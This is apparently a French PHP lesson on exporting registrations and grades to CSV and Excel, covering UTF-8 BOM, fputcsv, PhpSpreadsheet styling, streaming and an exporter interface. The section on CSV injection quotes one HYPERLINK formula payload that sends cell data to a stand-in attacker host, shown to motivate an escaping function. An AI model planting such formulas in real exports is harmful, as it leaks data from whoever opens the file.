À propos de ce cours
Objectifs de la leçon
- Produire un CSV lisible par Excel.
- Se protéger de l'injection de formules.
- Créer un fichier XLSX mis en forme avec PhpSpreadsheet.
- Gérer de grands volumes de données.
- Rendre les formats d'export interchangeables par une interface.
1. Mise en situation
Chaque fin de mois, le service comptable demande la liste des inscriptions dans Excel, et la coordinatrice veut les notes de la promotion pour faire ses propres graphiques. Aujourd'hui, quelqu'un copie les tableaux du site à la main… et les accents arrivent dans Excel sous la forme « é ».
Deux formats répondent à ce besoin : le CSV, simple et universel, et le format Excel (XLSX), qui conserve les styles et les formules. Nous allons produire les deux à partir des mêmes données, grâce au polymorphisme.
2. Exporter en CSV
Deux formats d’export
<?php
header('Content-Type: text/csv; charset=UTF-8');
header('Content-Disposition: attachment; filename="inscriptions-' . date('Y-m') . '.csv"');
$sortie = fopen('php://output', 'w');
fwrite($sortie, "\xEF\xBB\xBF"); // BOM : Excel reconnaît l'UTF-8
fputcsv($sortie, ['Matricule', 'Nom', 'Prénom', 'Formation', 'Date'], ';'); // ; pour Excel en français
foreach ($inscriptions as $i) {
fputcsv($sortie, [$i->matricule, $i->nom, $i->prenom, $i->formation, $i->date->format('d/m/Y')], ';');
}
fclose($sortie);
fputcsv() gère automatiquement les guillemets et les séparateurs contenus dans les valeurs. Le point-virgule est le séparateur attendu par Excel configuré en français, car la virgule y sert de séparateur décimal.
3. L'injection de formules (CSV injection)
<?php
function celluleSure(mixed $v): mixed
{
if (is_string($v) && $v !== '' && in_array($v[0], ['=', '+', '-', '@', "\t", "\r"], true)) {
return "'" . $v; // Excel affichera le texte au lieu d'exécuter une formule
}
return $v;
}
Un candidat qui saisit =HYPERLINK("http://pirate.example?d="&A2;"Cliquez") comme nom peut, à l'ouverture du fichier par un employé, provoquer l'exécution d'une formule. Toute donnée saisie par un utilisateur doit être neutralisée avant l'export.
4. Exporter en Excel avec PhpSpreadsheet
composer require phpoffice/phpspreadsheet
<?php
use PhpOffice\PhpSpreadsheet\Spreadsheet;
use PhpOffice\PhpSpreadsheet\Writer\Xlsx;
$classeur = new Spreadsheet();
$feuille = $classeur->getActiveSheet();
$feuille->setTitle('Notes DSI');
$feuille->fromArray(['Matricule', 'Nom', 'POO', 'BD', 'Web', 'Moyenne'], null, 'A1');
$ligne = 2;
foreach ($bulletins as $b) {
$feuille->fromArray([$b->matricule, $b->nom, $b->note('POO'), $b->note('BD'), $b->note('WEB')], null, "A$ligne");
$feuille->setCellValue("F$ligne", "=ROUND((C$ligne*3+D$ligne*2+E$ligne*2)/7,2)"); // formule Excel
$ligne++;
}
$feuille->getStyle('A1:F1')->getFont()->setBold(true);
$feuille->getStyle('A1:F1')->getFill()->setFillType('solid')->getStartColor()->setRGB('00D8FF');
foreach (range('A', 'F') as $col) { $feuille->getColumnDimension($col)->setAutoSize(true); }
$feuille->setAutoFilter('A1:F' . ($ligne - 1));
$feuille->freezePane('A2'); // première ligne toujours visible
header('Content-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet');
header('Content-Disposition: attachment; filename="notes.xlsx"');
(new Xlsx($classeur))->save('php://output');
5. Les grands volumes
PhpSpreadsheet garde tout le classeur en mémoire : au-delà de quelques dizaines de milliers de lignes, préférez le CSV écrit ligne par ligne à partir d'un générateur, ou une bibliothèque d'écriture en flux comme openspout/openspout. Côté base, parcourez les résultats avec fetch() plutôt que fetchAll().
6. Vers la POO : des exporteurs interchangeables
<?php
declare(strict_types=1);
interface Exporteur
{
public function typeMime(): string;
public function extension(): string;
/** @param iterable<array> $lignes */
public function exporter(array $entetes, iterable $lignes): void; // écrit sur la sortie
}
final class ExporteurCsv implements Exporteur
{
public function typeMime(): string { return 'text/csv; charset=UTF-8'; }
public function extension(): string { return 'csv'; }
public function exporter(array $entetes, iterable $lignes): void
{
$f = fopen('php://output', 'w');
fwrite($f, "\xEF\xBB\xBF");
fputcsv($f, $entetes, ';');
foreach ($lignes as $l) { fputcsv($f, array_map(celluleSure(...), $l), ';'); }
fclose($f);
}
}
final class ExporteurXlsx implements Exporteur
{
public function typeMime(): string { return 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet'; }
public function extension(): string { return 'xlsx'; }
public function exporter(array $entetes, iterable $lignes): void
{
$c = new Spreadsheet();
$s = $c->getActiveSheet();
$s->fromArray($entetes, null, 'A1');
$s->getStyle('1:1')->getFont()->setBold(true);
$n = 2;
foreach ($lignes as $l) { $s->fromArray(array_map(celluleSure(...), $l), null, "A$n"); $n++; }
$s->freezePane('A2');
(new Xlsx($c))->save('php://output');
}
}
final class ServiceExport
{
public function telecharger(Exporteur $exporteur, string $nom, array $entetes, iterable $lignes): never
{
header('Content-Type: ' . $exporteur->typeMime());
header('Content-Disposition: attachment; filename="' . $nom . '.' . $exporteur->extension() . '"');
$exporteur->exporter($entetes, $lignes);
exit;
}
}
$exporteur = match ($_GET['format'] ?? 'csv') { 'xlsx' => new ExporteurXlsx(), default => new ExporteurCsv() };
(new ServiceExport())->telecharger($exporteur, 'inscriptions', ['Matricule', 'Nom', 'Formation'], $depot->lignesExport());
Diagramme de classe UML de Exporteur
Exercice Activités
- Pourquoi écrire
\xEF\xBB\xBFau début d'un CSV destiné à Excel ? - Pourquoi utiliser le point-virgule comme séparateur ?
- Qu'est-ce que l'injection de formules et comment s'en protéger ?
- Avec PhpSpreadsheet, comment figer la première ligne et ajouter un filtre ?
- Ajoutez un
ExporteurJsonà la hiérarchie. - Pourquoi
lignesExport()devrait-il renvoyer un générateur pour 100 000 lignes ?
Correction
- C'est l'indicateur d'ordre des octets UTF-8 (BOM) : sans lui, Excel lit le fichier dans un autre encodage et les accents sont mal affichés.
- Excel en français attend
;, car la virgule y est le séparateur décimal. - Une valeur commençant par = + - @ est interprétée comme une formule par le tableur ; on la préfixe d'une apostrophe avant l'export.
$feuille->freezePane('A2'); $feuille->setAutoFilter('A1:F100');final class ExporteurJson implements Exporteur { public function typeMime(): string { return 'application/json'; } public function extension(): string { return 'json'; } public function exporter(array $e, iterable $l): void { $r = []; foreach ($l as $x) { $r[] = array_combine($e, $x); } echo json_encode($r, JSON_UNESCAPED_UNICODE | JSON_PRETTY_PRINT); } }- Pour ne pas charger toutes les lignes en mémoire : chaque ligne est lue (
fetch()) puis écrite, une à la fois.
Résumé
- CSV :
fputcsv(), séparateur;, BOM UTF-8. - Neutraliser les valeurs qui commencent par = + - @.
- PhpSpreadsheet : styles, formules, largeurs, filtres, volets figés.
- Grands volumes : CSV en flux et générateurs.
- Une interface
Exporteurrend les formats interchangeables.
Cet article vous a-t-il aidé ?
Merci pour votre avis sur cet article 🙏
Merci, votre message nous a bien été transmis 🙏
Cette leçon vous a été utile ? Partagez-la !